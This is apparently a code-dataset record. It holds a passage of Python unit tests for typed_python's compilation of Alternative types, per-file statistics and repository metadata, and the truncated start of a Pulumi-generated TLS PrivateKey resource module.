self.assertRaises(KeyError): c_getattr1(v) with self.assertRaises(KeyError): f_getattr2(v) with self.assertRaises(KeyError): c_getattr2(v) def test_compile_alternative_float_methods(self): # if __float__ is defined, then floor() and ceil() are based off this conversion, # when __floor__ and __ceil__ are not defined A = Alternative("A", a={'a': int}, b={'b': str}, __float__=lambda self: 1234.5 ) def f_floor(x: A): return floor(x) def f_ceil(x: A): return ceil(x) test_cases = [f_floor, f_ceil] for f in test_cases: r1 = f(A.a()) compiled_f = Compiled(f) r2 = compiled_f(A.a()) self.assertEqual(r1, r2) B = Alternative("B", a={'a': int}, b={'b': str}, __round__=lambda self, n: 1234 + n, __trunc__=lambda self: 1, __floor__=lambda self: 2, __ceil__=lambda self: 3 ) def f_round0(x: B): return round(x, 0) def f_round1(x: B): return round(x, 1) def f_round2(x: B): return round(x, 2) def f_round_1(x: B): return round(x, -1) def f_round_2(x: B): return round(x, -2) def f_trunc(x: B): return trunc(x) def f_floor(x: B): return floor(x) def f_ceil(x: B): return ceil(x) test_cases = [f_round0, f_round1, f_round2, f_round_1, f_round_2, f_trunc, f_floor, f_ceil] for f in test_cases: r1 = f(B.a()) compiled_f = Compiled(f) r2 = compiled_f(B.a()) self.assertEqual(r1, r2) def test_compile_alternative_dir(self): # The interpreted dir() calls __dir__() and sorts the result. # I expected the compiled dir() to do the same thing, but it doesn't sort. # So if you append these elements out of order, the test will fail. A0 = Alternative("A", a={'a': int}, b={'b': str}) def A_dir(self): x = ListOf(str)() x.append("x") x.append("y") x.append("z") return x A = Alternative("A", a={'a': int}, b={'b': str}, __dir__=A_dir, ) def f_dir0(x: A0): return dir(x) def f_dir(x: A): return dir(x) for f in [f_dir0]: compiled_f = Compiled(f) r1 = f(A0.a()) r2 = compiled_f(A0.a()) self.assertEqual(r1, r2) for f in [f_dir]: compiled_f = Compiled(f) r1 = f(A.a()) r2 = compiled_f(A.a()) self.assertEqual(r1, r2) c0 = Compiled(f_dir0) c = Compiled(f_dir) initMem = psutil.Process().memory_info().rss / 1024 ** 2 for i in range(10000): c0(A0.a(i)) c(A.a(i)) finalMem = psutil.Process().memory_info().rss / 1024 ** 2 self.assertTrue(finalMem < initMem + 2) def test_compile_alternative_comparison_defaults(self): B = Alternative("B", a={'a': int}, b={'b': str}) def f_eq(x: B, y: B): return x == y def f_ne(x: B, y: B): return x != y def f_lt(x: B, y: B): return x < y def f_gt(x: B, y: B): return x > y def f_le(x: B, y: B): return x <= y def f_ge(x: B, y: B): return x >= y def f_hash(x: B): return hash(x) values = [B.a(0), B.a(1), B.b("a"), B.b("b")] test_cases = [f_eq, f_ne, f_lt, f_gt, f_le, f_ge] for f in test_cases: for v1 in values: for v2 in values: compiled_f = Compiled(f) r1 = f(v1, v2) r2 = compiled_f(v1, v2) self.assertEqual(r1, r2) test_cases = [f_hash] for f in test_cases: for v in values: compiled_f = Compiled(f) r1 = f(v) r2 = compiled_f(v) self.assertEqual(r1, r2) def test_compile_alternative_comparison_methods(self): C = Alternative("C", a={'a': int}, b={'b': str}, __eq__=lambda self, other: True, __ne__=lambda self, other: False, __lt__=lambda self, other: True, __gt__=lambda self, other: False, __le__=lambda self, other: True, __ge__=lambda self, other: False, __hash__=lambda self: 123, ) def f_eq(x: C): return x == C.a() def f_ne(x: C): return x != C.a() def f_lt(x: C): return x < C.a() def f_gt(x: C): return x > C.a() def f_le(x: C): return x <= C.a() def f_ge(x: C): return x >= C.a() def f_hash(x: C): return hash(x) test_cases = [f_eq, f_ne, f_lt, f_gt, f_le, f_ge, f_hash] for f in test_cases: compiled_f = Compiled(f) r1 = f(C.a()) r2 = compiled_f(C.a()) self.assertEqual(r1, r2) def test_compile_alternative_getsetitem(self): def A2_getitem(self, i): if i not in self.d: return i return self.d[i] def A2_setitem(self, i, v): self.d[i] = v A2 = Alternative("A2", d={'d': Dict(int, int)}, __getitem__=A2_getitem, __setitem__=A2_setitem ) def f_getitem(a: A2, i: int) -> int: return a[i] def f_setitem(a: A2, i: int, v: int): a[i] = v c_getitem = Compiled(f_getitem) c_setitem = Compiled(f_setitem) a = A2.d() a[123] = 7 self.assertEqual(a[123], 7) for i in range(10, 20): self.assertEqual(f_getitem(a, i), i) self.assertEqual(c_getitem(a, i), i) f_setitem(a, i, i + 100) self.assertEqual(f_getitem(a, i), i + 100) self.assertEqual(c_getitem(a, i), i + 100) c_setitem(a, i, i + 200) self.assertEqual(f_getitem(a, i), i + 200) self.assertEqual(c_getitem(a, i), i + 200) def test_compile_simple_alternative_magic_methods(self): A = Alternative("A", a={}, b={}, __bool__=lambda self: False, __str__=lambda self: "my str", __repr__=lambda self: "my repr", __call__=lambda self, i: "my call", __len__=lambda self: 42, __contains__=lambda self, item: item == 1, __bytes__=lambda self: b'my bytes', __format__=lambda self, spec: "my format", __int__=lambda self: 43, __float__=lambda self: 44.44, __complex__=lambda self: 3+4j, __add__=lambda self, other: "add", __sub__=lambda self, other: "sub", __mul__=lambda self, other: "mul", __matmul__=lambda self, other: "matmul", __truediv__=lambda self, other: "truediv", __floordiv__=lambda self, other: "floordiv", __divmod__=lambda self, other: "divmod", __mod__=lambda self, other: "mod", __pow__=lambda self, other: "pow", __lshift__=lambda self, other: "lshift", __rshift__=lambda self, other: "rshift", __and__=lambda self, other: "and", __or__=lambda self, other: "or", __xor__=lambda self, other: "xor", __iadd__=lambda self, other: "iadd", __isub__=lambda self, other: "isub", __imul__=lambda self, other: "imul", __imatmul__=lambda self, other: "imatmul", __itruediv__=lambda self, other: "itruediv", __ifloordiv__=lambda self, other: "ifloordiv", __imod__=lambda self, other: "imod", __ipow__=lambda self, other: "ipow", __ilshift__=lambda self, other: "ilshift", __irshift__=lambda self, other: "irshift", __iand__=lambda self, other: "iand", __ior__=lambda self, other: "ior", __ixor__=lambda self, other: "ixor", __neg__=lambda self: "neg", __pos__=lambda self: "pos", __invert__=lambda self: "invert", __abs__=lambda self: "abs", ) def f_bool(x: A): return bool(x) def f_str(x: A): return str(x) def f_repr(x: A): return repr(x) def f_call(x: A): return x(1) def f_1in(x: A): return 1 in x def f_0in(x: A): return 0 in x def f_len(x: A): return len(x) def f_int(x: A): return int(x) def f_float(x: A): return float(x) def f_add(x: A): return x + A.a() def f_sub(x: A): return x - A.a() def f_mul(x: A): return x * A.a() def f_div(x: A): return x / A.a() def f_floordiv(x: A): return x // A.a() def f_matmul(x: A): return x @ A.a() def f_mod(x: A): return x % A.a() def f_and(x: A): return x & A.a() def f_or(x: A): return x | A.a() def f_xor(x: A): return x ^ A.a() def f_rshift(x: A): return x >> A.a() def f_lshift(x: A): return x << A.a() def f_pow(x: A): return x ** A.a() def f_neg(x: A): return -x def f_pos(x: A): return +x def f_invert(x: A): return ~x def f_abs(x: A): return abs(x) def f_iadd(x: A): x += A.a() return x def f_isub(x: A): x -= A.a() return x def f_imul(x: A): x *= A.a() return x def f_idiv(x: A): x /= A.a() return x def f_ifloordiv(x: A): x //= A.a() return x def f_imatmul(x: A): x @= A.a() return x def f_imod(x: A): x %= A.a() return x def f_iand(x: A): x &= A.a() return x def f_ior(x: A): x |= A.a() return x def f_ixor(x: A): x ^= A.a() return x def f_irshift(x: A): x >>= A.a() return x def f_ilshift(x: A): x <<= A.a() return x def f_ipow(x: A): x **= A.a() return x test_cases = [f_int, f_float, f_bool, f_str, f_repr, f_call, f_0in, f_1in, f_len, f_add, f_sub, f_mul, f_div, f_floordiv, f_matmul, f_mod, f_and, f_or, f_xor, f_rshift, f_lshift, f_pow, f_neg, f_pos, f_invert, f_abs] # not supported: # [f_iadd, f_isub, f_imul, f_idiv, f_ifloordiv, f_imatmul, # f_imod, f_iand, f_ior, f_ixor, f_irshift, f_ilshift, f_ipow] for f in test_cases: compiled_f = Compiled(f) r1 = f(A.a()) r2 = compiled_f(A.a()) self.assertEqual(r1, r2) def test_compile_simple_alternative_reverse_methods(self): A = Alternative("A", a={}, b={}, __radd__=lambda self, other: "radd" + repr(other), __rsub__=lambda self, other: "rsub" + repr(other), __rmul__=lambda self, other: "rmul" + repr(other), __rmatmul__=lambda self, other: "rmatmul" + repr(other), __rtruediv__=lambda self, other: "rtruediv" + repr(other), __rfloordiv__=lambda self, other: "rfloordiv" + repr(other), __rmod__=lambda self, other: "rmod" + repr(other), __rpow__=lambda self, other: "rpow" + repr(other), __rlshift__=lambda self, other: "rlshift" + repr(other), __rrshift__=lambda self, other: "rrshift" + repr(other), __rand__=lambda self, other: "rand" + repr(other), __rxor__=lambda self, other: "rxor" + repr(other), __ror__=lambda self, other: "ror" + repr(other), ) values = [1, Int16(1), UInt64(1), 1.234, Float32(1.234), True, "abc", ListOf(int)((1, 2)), ConstDict(str, str)({"a": "1"})] for v in values: T = type(v) def f_radd(v: T, x: A): return v + x def f_rsub(v: T, x: A): return v - x def f_rmul(v: T, x: A): return v * x def f_rmatmul(v: T, x: A): return v @ x def f_rtruediv(v: T, x: A): return v * x def f_rfloordiv(v: T, x: A): return v * x def f_rmod(v: T, x: A): return v * x def f_rpow(v: T, x: A): return v * x def f_rlshift(v: T, x: A): return v * x def f_rrshift(v: T, x: A): return v * x def f_rand(v: T, x: A): return v * x def f_rxor(v: T, x: A): return v * x def f_ror(v: T, x: A): return v * x for f in [f_radd, f_rsub, f_rmul, f_rmatmul, f_rtruediv, f_rfloordiv, f_rmod, f_rpow, f_rlshift, f_rrshift, f_rand, f_rxor, f_ror]: r1 = f(v, A.a()) compiled_f = Compiled(f) r2 = compiled_f(v, A.a()) self.assertEqual(r1, r2) def test_compile_simple_alternative_format(self): A1 = Alternative("A1", a={}, b={}) A2 = Alternative("A2", a={}, b={}, __str__=lambda self: "my str" ) A3 = Alternative("A3", a={}, b={}, __format__=lambda self, spec: "my format " + spec ) def a1_format(x: A1): return format(x) def a2_format(x: A2): return format(x) def a3_format(x: A3): return format(x) def a3_format_spec(x: A3): return format(x, "spec") r1 = a1_format(A1.a()) c1_format = Compiled(a1_format) r2 = c1_format(A1.a()) self.assertEqual(r1, r2) r1 = a2_format(A2.a()) c2_format = Compiled(a2_format) r2 = c2_format(A2.a()) self.assertEqual(r1, r2) r1 = a3_format(A3.a()) c3_format = Compiled(a3_format) r2 = c3_format(A3.a()) self.assertEqual(r1, r2) r1 = a3_format_spec(A3.a()) c3_format_spec = Compiled(a3_format_spec) r2 = c3_format_spec(A3.a()) self.assertEqual(r1, r2) # This failed when I forgot to support ConcreteAlternativeWrappers @Entrypoint def specialized_format(x): return format(x) test_values = [A1.a(), A1.b(), A2.a(), A2.b(), A3.a(), A3.b()] for v in test_values: r1 = format(v) r2 = specialized_format(v) self.assertEqual(r1, r2) def test_compile_simple_alternative_bytes(self): A = Alternative("A", a={}, b={}, __bytes__=lambda self: b'my bytes' ) def f_bytes(x: A): return bytes(x) v = A.a() r1 = f_bytes(v) c_f = Compiled(f_bytes) r2 = c_f(v) self.assertEqual(r1, r2) # I think this would require nonlocal data @pytest.mark.skip(reason="not supported") def test_compile_simple_alternative_attr(self): def A_getattr(self, n): return self.d[n] def A_setattr(self, n, v): self.d[n] = v def A_delattr(self, n): del self.d[n] A = Alternative("A", a={}, b={}, __getattr__=A_getattr, __setattr__=A_setattr, __delattr__=A_delattr ) def f_getattr1(x: A): return x.q def f_getattr2(x: A): return x.z def f_setattr1(x: A, s: str): x.q = s def f_setattr2(x: A, s: str): x.z = s def f_delattr1(x: A): del x.q def f_delattr2(x: A): del x.z c_getattr1 = Compiled(f_getattr1) c_getattr2 = Compiled(f_getattr2) c_setattr1 = Compiled(f_setattr1) c_setattr2 = Compiled(f_setattr2) c_delattr1 = Compiled(f_delattr1) c_delattr2 = Compiled(f_delattr2) for v in [A.a()]: f_setattr1(v, "0") f_setattr2(v, "0") self.assertEqual(f_getattr1(v), "0") self.assertEqual(f_getattr1(v), c_getattr1(v)) self.assertEqual(f_getattr2(v), "0") self.assertEqual(f_getattr2(v), c_getattr2(v)) f_setattr1(v, "1") self.assertEqual(f_getattr1(v), "1") self.assertEqual(f_getattr1(v), c_getattr1(v)) self.assertEqual(f_getattr2(v), "0") self.assertEqual(f_getattr2(v), c_getattr2(v)) c_setattr1(v, "2") self.assertEqual(f_getattr1(v), "2") self.assertEqual(f_getattr1(v), c_getattr1(v)) self.assertEqual(f_getattr2(v), "0") self.assertEqual(f_getattr2(v), c_getattr2(v)) f_setattr2(v, "3") self.assertEqual(f_getattr1(v), "2") self.assertEqual(f_getattr1(v), c_getattr1(v)) self.assertEqual(f_getattr2(v), "3") self.assertEqual(f_getattr2(v), c_getattr2(v)) c_setattr2(v, "4") self.assertEqual(f_getattr1(v), "2") self.assertEqual(f_getattr1(v), c_getattr1(v)) self.assertEqual(f_getattr2(v), "4") self.assertEqual(f_getattr2(v), c_getattr2(v)) f_delattr1(v) with self.assertRaises(KeyError): f_getattr1(v) with self.assertRaises(KeyError): c_getattr1(v) self.assertEqual(f_getattr2(v), "4") self.assertEqual(f_getattr2(v), c_getattr2(v)) f_delattr2(v) with self.assertRaises(KeyError): f_getattr1(v) with self.assertRaises(TypeError): c_getattr1(v) with self.assertRaises(KeyError): f_getattr2(v) with self.assertRaises(TypeError): c_getattr2(v) f_setattr1(v, "5") f_setattr2(v, "6") c_delattr1(v) with self.assertRaises(KeyError): f_getattr1(v) with self.assertRaises(TypeError): c_getattr1(v) self.assertEqual(f_getattr2(v), "6") self.assertEqual(f_getattr2(v), c_getattr2(v)) c_delattr2(v) with self.assertRaises(KeyError): f_getattr1(v) with self.assertRaises(TypeError): c_getattr1(v) with self.assertRaises(KeyError): f_getattr2(v) with self.assertRaises(TypeError): c_getattr2(v) def test_compile_simple_alternative_float_methods(self): # if __float__ is defined, then floor() and ceil() are based off this conversion, # when __floor__ and __ceil__ are not defined A = Alternative("A", a={}, b={}, __float__=lambda self: 1234.5 ) def f_floor(x: A): return floor(x) def f_ceil(x: A): return ceil(x) test_cases = [f_floor, f_ceil] for f in test_cases: r1 = f(A.a()) compiled_f = Compiled(f) r2 = compiled_f(A.a()) self.assertEqual(r1, r2) B = Alternative("B", a={}, b={}, __round__=lambda self, n: 1234 + n, __trunc__=lambda self: 1, __floor__=lambda self: 2, __ceil__=lambda self: 3 ) def f_round0(x: B): return round(x, 0) def f_round1(x: B): return round(x, 1) def f_round2(x: B): return round(x, 2) def f_round_1(x: B): return round(x, -1) def f_round_2(x: B): return round(x, -2) def f_trunc(x: B): return trunc(x) def f_floor(x: B): return floor(x) def f_ceil(x: B): return ceil(x) test_cases = [f_round0, f_round1, f_round2, f_round_1, f_round_2, f_trunc, f_floor, f_ceil] for f in test_cases: r1 = f(B.a()) compiled_f = Compiled(f) r2 = compiled_f(B.a()) self.assertEqual(r1, r2) def test_compile_simple_dir(self): # The interpreted dir() calls __dir__() and sorts the result. # I expected the compiled dir() to do the same thing, but it doesn't sort. # So if you append these elements out of order, the test will fail. A0 = Alternative("A", a={}, b={}) def A_dir(self): x = ListOf(str)() x.append("x") x.append("y") x.append("z") return x A = Alternative("A", a={}, b={}, __dir__=A_dir, ) def f_dir0(x: A0): return dir(x) def f_dir(x: A): return dir(x) for f in [f_dir0]: compiled_f = Compiled(f) r1 = f(A0.a()) r2 = compiled_f(A0.a()) self.assertEqual(r1, r2) for f in [f_dir]: compiled_f = Compiled(f) r1 = f(A.a()) r2 = compiled_f(A.a()) self.assertEqual(r1, r2) c0 = Compiled(f_dir0) c = Compiled(f_dir) initMem = psutil.Process().memory_info().rss / 1024 ** 2 for i in range(10000): c0(A0.a()) c(A.a()) finalMem = psutil.Process().memory_info().rss / 1024 ** 2 self.assertTrue(finalMem < initMem + 2) def test_compile_simple_alternative_comparison_defaults(self): B = Alternative("B", a={}, b={}) def f_eq(x: B, y: B): return x == y def f_ne(x: B, y: B): return x != y def f_lt(x: B, y: B): return x < y def f_gt(x: B, y: B): return x > y def f_le(x: B, y: B): return x <= y def f_ge(x: B, y: B): return x >= y def f_hash(x: B): return hash(x) values = [B.a(), B.b()] test_cases = [f_eq, f_ne, f_lt, f_gt, f_le, f_ge] for f in test_cases: for v1 in values: for v2 in values: compiled_f = Compiled(f) r1 = f(v1, v2) r2 = compiled_f(v1, v2) self.assertEqual(r1, r2) test_cases = [f_hash] for f in test_cases: for v in values: compiled_f = Compiled(f) r1 = f(v) r2 = compiled_f(v) self.assertEqual(r1, r2) def test_compile_simple_alternative_comparison_methods(self): C = Alternative("C", a={}, b={}, __eq__=lambda self, other: True, __ne__=lambda self, other: False, __lt__=lambda self, other: True, __gt__=lambda self, other: False, __le__=lambda self, other: True, __ge__=lambda self, other: False, __hash__=lambda self: 123, ) def f_eq(x: C): return x == C.a() def f_ne(x: C): return x != C.a() def f_lt(x: C): return x < C.a() def f_gt(x: C): return x > C.a() def f_le(x: C): return x <= C.a() def f_ge(x: C): return x >= C.a() def f_hash(x: C): return hash(x) test_cases = [f_eq, f_ne, f_lt, f_gt, f_le, f_ge, f_hash] for f in test_cases: compiled_f = Compiled(f) r1 = f(C.a()) r2 = compiled_f(C.a()) self.assertEqual(r1, r2) def test_compile_alternative_float_conv(self): A0 = Alternative("A0", a={}, b={}, __int__=lambda self: 123, __float__=lambda self: 1234.5 ) A = Alternative("A", a={'a': int}, b={'b': str}, __int__=lambda self: 123, __float__=lambda self: 1234.5 ) def f(x: float): return x def g(x: int): return x c_f = Compiled(f) c_g = Compiled(g) with self.assertRaises(TypeError): c_f(A.a()) with self.assertRaises(TypeError): c_f(A0.a()) with self.assertRaises(TypeError): c_g(A.a()) with self.assertRaises(TypeError): c_g(A0.a()) def test_compile_alternative_missing_inplace_fallback(self): def A_add(self, other): return A.b(" add" + other.b) def A_sub(self, other): return A.b(" sub" + other.b) def A_mul(self, other): self.s += " mul" + other.s return self def A_matmul(self, other): self.s += " matmul" + other.s return self def A_truediv(self, other): self.s += " truediv" + other.s return self def A_floordiv(self, other): self.s += " floordiv" + other.s return self def A_mod(self, other): self.s += " mod" + other.s return self def A_pow(self, other): self.s += " pow" + other.s return self def A_lshift(self, other): self.s += " lshift" + other.s return self def A_rshift(self, other): self.s += " rshift" + other.s return self def A_and(self, other): self.s += " and" + other.s return self def A_or(self, other): self.s += " or" + other.s return self def A_xor(self, other): self.s += " xor" + other.s return self A = Alternative("A", a={'a': int}, b={'b': str}, __add__=lambda x, y: A.b(x.b + " add" + y.b), __sub__=lambda x, y: A.b(x.b + " sub" + y.b), __mul__=lambda x, y: A.b(x.b + " mul" + y.b), __matmul__=lambda x, y: A.b(x.b + " matmul" + y.b), __truediv__=lambda x, y: A.b(x.b + " truediv" + y.b), __floordiv__=lambda x, y: A.b(x.b + " floordiv" + y.b), __mod__=lambda x, y: A.b(x.b + " mod" + y.b), __pow__=lambda x, y: A.b(x.b + " pow" + y.b), __lshift__=lambda x, y: A.b(x.b + " lshift" + y.b), __rshift__=lambda x, y: A.b(x.b + " rshift" + y.b), __and__=lambda x, y: A.b(x.b + " and" + y.b), __or__=lambda x, y: A.b(x.b + " or" + y.b), __xor__=lambda x, y: A.b(x.b + " xor" + y.b) ) def inplace(x: A): x += A.b() x -= A.b() x *= A.b() x @= A.b() x /= A.b() x //= A.b() x %= A.b() x **= A.b() x <<= A.b() x >>= A.b() x &= A.b() x |= A.b() x ^= A.b() return x expected = A.b("start add sub mul matmul truediv floordiv mod pow lshift rshift and or xor") v = A.b("start") r1 = inplace(v) self.assertEqual(r1, expected) v = A.b("start") r2 = Compiled(inplace)(v) self.assertEqual(r2, expected) def test_compile_alternative_methods(self): def method(self, x): return self.y + x A = Alternative( "A", Y=dict(y=int), method=method, ) def callMethod(a: A, x): return a.method(x) self.assertEqual( callMethod(A.Y(y=20), 10), Entrypoint(callMethod)(A.Y(y=20), 10) ) def callMethod2(a: A.Y, x): return a.method(x) self.assertEqual( callMethod2(A.Y(y=20), 10), Entrypoint(callMethod2)(A.Y(y=20), 10) ) @pytest.mark.skip(reason="not supported") def test_context_manager(self): def A_enter(self): self.a.append("enter") return "target" def A_exit(self, exc_type, exc_val, exc_tb): self.a.append("exit") self.a.append(str(exc_type)) return True A = Alternative("A", a={'a': ListOf(str)}, __enter__=A_enter, __exit__=A_exit ) def f0(x: int) -> ListOf(str): context_manager = A.a() with context_manager: context_manager.a.append(str(1 / x)) return context_manager.a def f(x: int) -> ListOf(str): context_manager = A.a() with context_manager as v: context_manager.a.append(v) context_manager.a.append(str(1 / x)) return context_manager.a class ConMan(): def __init__(self): self.a = [] def __enter__(self): self.a.append("Enter") return "Target" def __exit__(self, exc_type, exc_val, exc_tb): self.a.append("Exit") if exc_type is not None: self.a.append(str(exc_type)) if exc_val is not None: self.a.append(str(exc_val)) if exc_tb is not None: self.a.append(str(exc_tb)) return True def g(x: int) -> ListOf(str): context_manager = ConMan() with context_manager as v: context_manager.a.append(v) context_manager.a.append(str(1 / x)) return context_manager.a for fn in [f, g]: c_fn = Compiled(fn) for v in [0, 1]: r0 = fn(v) r1 = c_fn(v) self.assertEqual(r0, r1) def test_matches_on_alternative(self): A = Alternative("A", X=dict(x=int)) @Entrypoint def checkMatchesX(x): return x.matches.X assert checkMatchesX(A.X()) def test_matches_on_oneof_alternative(self): A = Alternative("A", X=dict(x=int)) B = Alternative("B", Y=dict(y=int)) @Entrypoint def checkMatchesX(x: OneOf(A, B, int)): return x.matches.X assert checkMatchesX(A.X()) assert not checkMatchesX(B.Y())
30.493151
125
0.464432
6,482
51,198
3.42996
0.056001
0.017721
0.033464
0.016597
0.820447
0.749472
0.723609
0.697162
0.672424
0.653578
0
0.026004
0.413376
51,198
1,678
126
30.511323
0.714257
0.030724
0
0.706843
0
0
0.021415
0
0
0
0
0
0.111975
1
0.206843
false
0.001555
0.006221
0.12675
0.387247
0.000778
0
0
0
null
0
0
0
1
1
1
0
0
1
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
null
0
0
0
0
0
1
0
0
0
1
0
0
0
7
9e977f2a84a204d1deffbab889a745c2afc742d2
17,976
py
Python
sdk/python/pulumi_tls/private_key.py
pulumi/pulumi-tls
0f8f089e90fa8edfc6416a7605498f957a22c337
[ "ECL-2.0", "Apache-2.0" ]
4
2019-09-17T20:41:30.000Z
2020-09-07T16:17:43.000Z
sdk/python/pulumi_tls/private_key.py
pulumi/pulumi-tls
0f8f089e90fa8edfc6416a7605498f957a22c337
[ "ECL-2.0", "Apache-2.0" ]
37
2019-07-31T14:03:51.000Z
2022-03-31T15:49:43.000Z
sdk/python/pulumi_tls/private_key.py
pulumi/pulumi-tls
0f8f089e90fa8edfc6416a7605498f957a22c337
[ "ECL-2.0", "Apache-2.0" ]
2
2019-10-05T10:36:10.000Z
2019-10-31T10:59:33.000Z
# coding=utf-8 # *** WARNING: this file was generated by the Pulumi Terraform Bridge (tfgen) Tool. *** # *** Do not edit by hand unless you're certain you know what you are doing! *** import warnings import pulumi import pulumi.runtime from typing import Any, Mapping, Optional, Sequence, Union, overload from . import _utilities __all__ = ['PrivateKeyArgs', 'PrivateKey'] @pulumi.input_type class PrivateKeyArgs: def __init__(__self__, *, algorithm: pulumi.Input[str], ecdsa_curve: Optional[pulumi.Input[str]] = None, rsa_bits: Optional[pulumi.Input[int]] = None): """ The set of arguments for constructing a PrivateKey resource. :param pulumi.Input[str] algorithm: The name of the algorithm to use for the key. Currently-supported values are "RSA" and "ECDSA". :param pulumi.Input[str] ecdsa_curve: When `algorithm` is "ECDSA", the name of the elliptic curve to use. May be any one of "P224", "P256", "P384" or "P521", with "P224" as the default. :param pulumi.Input[int] rsa_bits: When `algorithm` is "RSA", the size of the generated RSA key in bits. Defaults to 2048. """ pulumi.set(__self__, "algorithm", algorithm) if ecdsa_curve is not None: pulumi.set(__self__, "ecdsa_curve", ecdsa_curve) if rsa_bits is not None: pulumi.set(__self__, "rsa_bits", rsa_bits) @property @pulumi.getter def algorithm(self) -> pulumi.Input[str]: """ The name of the algorithm to use for the key. Currently-supported values are "RSA" and "ECDSA". """ return pulumi.get(self, "algorithm") @algorithm.setter def algorithm(self, value: pulumi.Input[str]): pulumi.set(self, "algorithm", value) @property @pulumi.getter(name="ecdsaCurve") def ecdsa_curve(self) -> Optional[pulumi.Input[str]]: """ When `algorithm` is "ECDSA", the name of the elliptic curve to use. May be any one of "P224", "P256", "P384" or "P521", with "P224" as the default. """ return pulumi.get(self, "ecdsa_curve") @ecdsa_curve.setter def ecdsa_curve(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "ecdsa_curve", value) @property @pulumi.getter(name="rsaBits") def rsa_bits(self) -> Optional[pulumi.Input[int]]: """ When `algorithm` is "RSA", the size of the generated RSA key in bits. Defaults to 2048. """ return pulumi.get(self, "rsa_bits") @rsa_bits.setter def rsa_bits(self, value: Optional[pulumi.Input[int]]): pulumi.set(self, "rsa_bits", value) @pulumi.input_type class _PrivateKeyState: def __init__(__self__, *, algorithm: Optional[pulumi.Input[str]] = None, ecdsa_curve: Optional[pulumi.Input[str]] = None, private_key_pem: Optional[pulumi.Input[str]] = None, public_key_fingerprint_md5: Optional[pulumi.Input[str]] = None, public_key_openssh: Optional[pulumi.Input[str]] = None, public_key_pem: Optional[pulumi.Input[str]] = None, rsa_bits: Optional[pulumi.Input[int]] = None): """ Input properties used for looking up and filtering PrivateKey resources. :param pulumi.Input[str] algorithm: The name of the algorithm to use for the key. Currently-supported values are "RSA" and "ECDSA". :param pulumi.Input[str] ecdsa_curve: When `algorithm` is "ECDSA", the name of the elliptic curve to use. May be any one of "P224", "P256", "P384" or "P521", with "P224" as the default. :param pulumi.Input[str] private_key_pem: The private key data in PEM format. :param pulumi.Input[str] public_key_fingerprint_md5: The md5 hash of the public key data in OpenSSH MD5 hash format, e.g. `aa:bb:cc:...`. Only available if the selected private key format is compatible, as per the rules for `public_key_openssh`. :param pulumi.Input[str] public_key_openssh: The public key data in OpenSSH `authorized_keys` format, if the selected private key format is compatible. All RSA keys are supported, and ECDSA keys with curves "P256", "P384" and "P521" are supported. This attribute is empty if an incompatible ECDSA curve is selected. :param pulumi.Input[str] public_key_pem: The public key data in PEM format. :param pulumi.Input[int] rsa_bits: When `algorithm` is "RSA", the size of the generated RSA key in bits. Defaults to 2048. """ if algorithm is not None: pulumi.set(__self__, "algorithm", algorithm) if ecdsa_curve is not None: pulumi.set(__self__, "ecdsa_curve", ecdsa_curve) if private_key_pem is not None: pulumi.set(__self__, "private_key_pem", private_key_pem) if public_key_fingerprint_md5 is not None: pulumi.set(__self__, "public_key_fingerprint_md5", public_key_fingerprint_md5) if public_key_openssh is not None: pulumi.set(__self__, "public_key_openssh", public_key_openssh) if public_key_pem is not None: pulumi.set(__self__, "public_key_pem", public_key_pem) if rsa_bits is not None: pulumi.set(__self__, "rsa_bits", rsa_bits) @property @pulumi.getter def algorithm(self) -> Optional[pulumi.Input[str]]: """ The name of the algorithm to use for the key. Currently-supported values are "RSA" and "ECDSA". """ return pulumi.get(self, "algorithm") @algorithm.setter def algorithm(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "algorithm", value) @property @pulumi.getter(name="ecdsaCurve") def ecdsa_curve(self) -> Optional[pulumi.Input[str]]: """ When `algorithm` is "ECDSA", the name of the elliptic curve to use. May be any one of "P224", "P256", "P384" or "P521", with "P224" as the default. """ return pulumi.get(self, "ecdsa_curve") @ecdsa_curve.setter def ecdsa_curve(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "ecdsa_curve", value) @property @pulumi.getter(name="privateKeyPem") def private_key_pem(self) -> Optional[pulumi.Input[str]]: """ The private key data in PEM format. """ return pulumi.get(self, "private_key_pem") @private_key_pem.setter def private_key_pem(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "private_key_pem", value) @property @pulumi.getter(name="publicKeyFingerprintMd5") def public_key_fingerprint_md5(self) -> Optional[pulumi.Input[str]]: """ The md5 hash of the public key data in OpenSSH MD5 hash format, e.g. `aa:bb:cc:...`. Only available if the selected private key format is compatible, as per the rules for `public_key_openssh`. """ return pulumi.get(self, "public_key_fingerprint_md5") @public_key_fingerprint_md5.setter def public_key_fingerprint_md5(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "public_key_fingerprint_md5", value) @property @pulumi.getter(name="publicKeyOpenssh") def public_key_openssh(self) -> Optional[pulumi.Input[str]]: """ The public key data in OpenSSH `authorized_keys` format, if the selected private key format is compatible. All RSA keys are supported, and ECDSA keys with curves "P256", "P384" and "P521" are supported. This attribute is empty if an incompatible ECDSA curve is selected. """ return pulumi.get(self, "public_key_openssh") @public_key_openssh.setter def public_key_openssh(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "public_key_openssh", value) @property @pulumi.getter(name="publicKeyPem") def public_key_pem(self) -> Optional[pulumi.Input[str]]: """ The public key data in PEM format. """ return pulumi.get(self, "public_key_pem") @public_key_pem.setter def public_key_pem(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "public_key_pem", value) @property @pulumi.getter(name="rsaBits") def rsa_bits(self) -> Optional[pulumi.Input[int]]: """ When `algorithm` is "RSA", the size of the generated RSA key in bits. Defaults to 2048. """ return pulumi.get(self, "rsa_bits") @rsa_bits.setter def rsa_bits(self, value: Optional[pulumi.Input[int]]): pulumi.set(self, "rsa_bits", value) class PrivateKey(pulumi.CustomResource): @overload def __init__(__self__, resource_name: str, opts: Optional[pulumi.ResourceOptions] = None, algorithm: Optional[pulumi.Input[str]] = None, ecdsa_curve: Optional[pulumi.Input[str]] = None, rsa_bits: Optional[pulumi.Input[int]] = None, __props__=None): """ Create a PrivateKey resource with the given unique name, props, and options. :param str resource_name: The name of the resource. :param pulumi.ResourceOptions opts: Options for the resource. :param pulumi.Input[str] algorithm: The name of the algorithm to use for the key. Currently-supported values are "RSA" and "ECDSA". :param pulumi.Input[str] ecdsa_curve: When `algorithm` is "ECDSA", the name of the elliptic curve to use. May be any one of "P224", "P256", "P384" or 